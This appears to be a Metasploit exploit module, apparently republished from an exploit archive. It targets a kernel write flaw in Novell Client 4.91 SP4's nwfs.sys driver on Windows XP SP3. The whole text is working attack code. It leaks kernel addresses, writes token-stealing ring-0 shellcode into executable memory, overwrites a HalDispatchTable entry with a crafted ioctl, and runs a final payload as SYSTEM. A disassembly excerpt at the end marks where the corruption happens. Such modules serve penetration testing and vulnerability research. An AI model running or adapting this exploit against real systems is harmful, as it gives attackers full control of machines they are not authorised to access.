Novell Client 4.91 SP4 – ‘nwfs.sys’ Local Privilege Escalation (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking include Msf::Post::Common include Msf::Post::Windows::Priv def initialize(info={}) super(update_info(info, { 'Name' => 'Novell Client 4.91 SP4 nwfs.sys Local Privilege Escalation', 'Description' => %q{ This module exploits a flaw in the nwfs.sys driver to overwrite data in kernel space. The corruption occurs while handling ioctl requests with code 0x1438BB, where a 0x00000009 dword is written to an arbitrary address. An entry within the HalDispatchTable is overwritten in order to execute arbitrary code when NtQueryIntervalProfile is called. The module has been tested successfully on Windows XP SP3 with Novell Client 4.91 SP4. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ruben Santamarta', # Vulnerability discovery and PoC 'juan vazquez' # MSF module ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ # Tested with nwfs.sys 4.91.4.7 as installed with Novell Client 4.91 SP4 [ 'Automatic', { } ], [ 'Windows XP SP3', { 'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates '_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct '_TOKEN' => "\xc8", # Offset to TOKEN from the _EPROCESS struct '_UPID' => "\x84", # Offset to UniqueProcessId FROM the _EPROCESS struct '_APLINKS' => "\x88" # Offset to ActiveProcessLinks _EPROCESS struct } ] ], 'References' => [ [ 'OSVDB', '46578' ], [ 'BID', '30001' ], [ 'URL', 'http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5028543.html' ] ], 'DisclosureDate'=> 'Jun 26 2008', 'DefaultTarget' => 0 })) end def add_railgun_functions session.railgun.add_function( 'ntdll', 'NtAllocateVirtualMemory', 'DWORD', [ ["DWORD", "ProcessHandle", "in"], ["PBLOB", "BaseAddress", "inout"], ["PDWORD", "ZeroBits", "in"], ["PBLOB", "RegionSize", "inout"], ["DWORD", "AllocationType", "in"], ["DWORD", "Protect", "in"] ]) session.railgun.add_function( 'ntdll', 'NtDeviceIoControlFile', 'DWORD', [ [ "DWORD", "FileHandle", "in" ], [ "DWORD", "Event", "in" ], [ "DWORD", "ApcRoutine", "in" ], [ "DWORD", "ApcContext", "in" ], [ "PDWORD", "IoStatusBlock", "out" ], [ "DWORD", "IoControlCode", "in" ], [ "LPVOID", "InputBuffer", "in" ], [ "DWORD", "InputBufferLength", "in" ], [ "LPVOID", "OutputBuffer", "in" ], [ "DWORD", "OutPutBufferLength", "in" ] ]) session.railgun.add_function( 'ntdll', 'NtQueryIntervalProfile', 'DWORD', [ [ "DWORD", "ProfileSource", "in" ], [ "PDWORD", "Interval", "out" ] ]) session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi') session.railgun.add_function( 'psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"] ]) session.railgun.add_function( 'psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"] ]) end def open_device(dev) invalid_handle_value = 0xFFFFFFFF r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0) handle = r['return'] if handle == invalid_handle_value return nil end return handle end def find_sys_base(drvname) results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4) addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*") addresses.each do |address| results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) current_drvname = results['lpBaseName'][0..results['return'] - 1] if drvname == nil if current_drvname.downcase.include?('krnl') return [address, current_drvname] end elsif drvname == results['lpBaseName'][0..results['return'] - 1] return [address, current_drvname] end end return nil end def execute_shellcode(shell_addr) vprint_status("Creating the thread to execute the shellcode...") ret = session.railgun.kernel32.CreateThread(nil, 0, shell_addr, nil, "CREATE_SUSPENDED", nil) if ret['return'] < 1 vprint_error("Unable to CreateThread") return nil end hthread = ret['return'] vprint_status("Resuming the Thread...") ret = client.railgun.kernel32.ResumeThread(hthread) if ret['return'] < 1 vprint_error("Unable to ResumeThread") return nil end return true end def ring0_shellcode(t) restore_ptrs = "\x31\xc0" # xor eax, eax restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L") # mov eax, offset hal!HaliQuerySystemInformation restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax tokenstealing = "\x52" # push edx # Save edx on the stack tokenstealing << "\x53" # push ebx # Save ebx on the stack tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0 tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS tokenstealing << "\x8b\xc8" # mov ecx, eax tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) tokenstealing << "\x75\xe8" # jne 0000101e ====================== tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS tokenstealing << "\x5b" # pop ebx # Restores ebx tokenstealing << "\x5a" # pop edx # Restores edx tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel! ring0_shellcode = restore_ptrs + tokenstealing return ring0_shellcode end def fill_memory(proc, address, length, content) result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") if not proc.memory.writable?(address) vprint_error("Failed to allocate memory") return nil else vprint_good("#{address} is now writable") end result = proc.memory.write(address, content) if result.nil? vprint_error("Failed to write contents to memory") return nil else vprint_good("Contents successfully written to 0x#{address.to_s(16)}") end return address end def disclose_addresses(t) addresses = {} vprint_status("Getting the Kernel module name...") kernel_info = find_sys_base(nil) if kernel_info.nil? vprint_error("Failed to disclose the Kernel module name") return nil end vprint_good("Kernel module found: #{kernel_info[1]}") vprint_status("Getting a Kernel handle...") kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1) kernel32_handle = kernel32_handle['return'] if kernel32_handle == 0 vprint_error("Failed to get a Kernel handle") return nil end vprint_good("Kernel handle acquired") vprint_status("Disclosing the HalDispatchTable...") hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable") hal_dispatch_table = hal_dispatch_table['return'] if hal_dispatch_table == 0 vprint_error("Failed to disclose the HalDispatchTable") return nil end hal_dispatch_table -= kernel32_handle hal_dispatch_table += kernel_info[0] addresses["halDispatchTable"] = hal_dispatch_table vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}") vprint_status("Getting the hal.dll Base Address...") hal_info = find_sys_base("hal.dll") if hal_info.nil? vprint_error("Failed to disclose hal.dll Base Address") return nil end hal_base = hal_info[0] vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}") hali_query_system_information = hal_base + t['HaliQuerySystemInfo'] addresses["HaliQuerySystemInfo"] = hali_query_system_information vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}") return addresses end def exploit vprint_status("Adding the railgun stuff...") add_railgun_functions if sysinfo["Architecture"] =~ /wow64/i fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported") end my_target = nil if target.name =~ /Automatic/ print_status("Detecting the target system...") os = sysinfo["OS"] print_status("#{os.inspect}") if os =~ /windows xp/i my_target = targets[1] print_status("Running against #{my_target.name}") end else my_target = target end if my_target.nil? fail_with(Exploit::Failure::NoTarget, "Remote system not detected as target, select the target manually") end print_status("Checking device...") handle = open_device("\\\\.\\nwfs") if handle.nil? fail_with(Exploit::Failure::NoTarget, "\\\\.\\nwfs device not found") else print_good("\\\\.\\nwfs found!") end print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...") @addresses = disclose_addresses(my_target) if @addresses.nil? session.railgun.kernel32.CloseHandle(handle) fail_with(Exploit::Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.") else print_good("Addresses successfully disclosed.") end print_status("Storing the kernel stager on memory...") this_proc = session.sys.process.open kernel_shell = ring0_shellcode(my_target) kernel_shell_address = 0x1000 result = fill_memory(this_proc, kernel_shell_address, 0x1000, kernel_shell) if result.nil? session.railgun.kernel32.CloseHandle(handle) fail_with(Exploit::Failure::Unknown, "Error while storing the kernel stager shellcode on memory") else print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") end print_status("Storing the trampoline to the kernel stager on memory...") trampoline = "\x90" * 0x20 # nops trampoline << "\x68" # push opcode trampoline << [0x1000].pack("V") # address to push trampoline << "\xc3" # ret trampoline_addr = 0x3 result = fill_memory(this_proc, trampoline_addr, 0x1000, trampoline) if result.nil? session.railgun.kernel32.CloseHandle(handle) fail_with(Exploit::Failure::Unknown, "Error while storing trampoline on memory") else print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}") end print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") magic_ioctl = 0x1438BB ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, @addresses["halDispatchTable"] + 0x4, 0x10, 0, 0) session.railgun.kernel32.CloseHandle(handle) print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) print_status("Checking privileges after exploitation...") if not is_system? fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful") else print_good("Exploitation successful!") end print_status("Storing the final payload on memory...") shell_address = 0x0c0c0000 result = fill_memory(this_proc, shell_address, 0x1000, payload.encoded) if result.nil? fail_with(Exploit::Failure::Unknown, "Error while storing the final payload on memory") else print_good("Final payload successfully stored at 0x#{shell_address.to_s(16)}") end print_status("Executing the payload...") result = execute_shellcode(shell_address) if result.nil? fail_with(Exploit::Failure::Unknown, "Error while executing the payload") else print_good("Enjoy!") end end end =begin [*] Corruption .text:0005512E sub_5512E proc near ; CODE XREF: ioctl_handler_sub_2FE4C+295p .text:0005512E ; sub_405C4+29Bp .text:0005512E .text:0005512E ms_exc = CPPEH_RECORD ptr -18h .text:0005512E arg_0 = dword ptr 8 .text:0005512E .text:0005512E push 8 .text:00055130 push offset stru_79268 .text:00055135 call __SEH_prolog .text:0005513A xor eax, eax .text:0005513C mov ecx, [ebp+arg_0] .text:0005513F mov ecx, [ecx+0Ch] .text:00055142 mov ecx, [ecx+60h] .text:00055145 mov ecx, [ecx+10h] .text:00055148 mov [ebp+ms_exc.registration.TryLevel], eax .text:0005514B mov dword ptr [ecx], 9 // Corruption =end |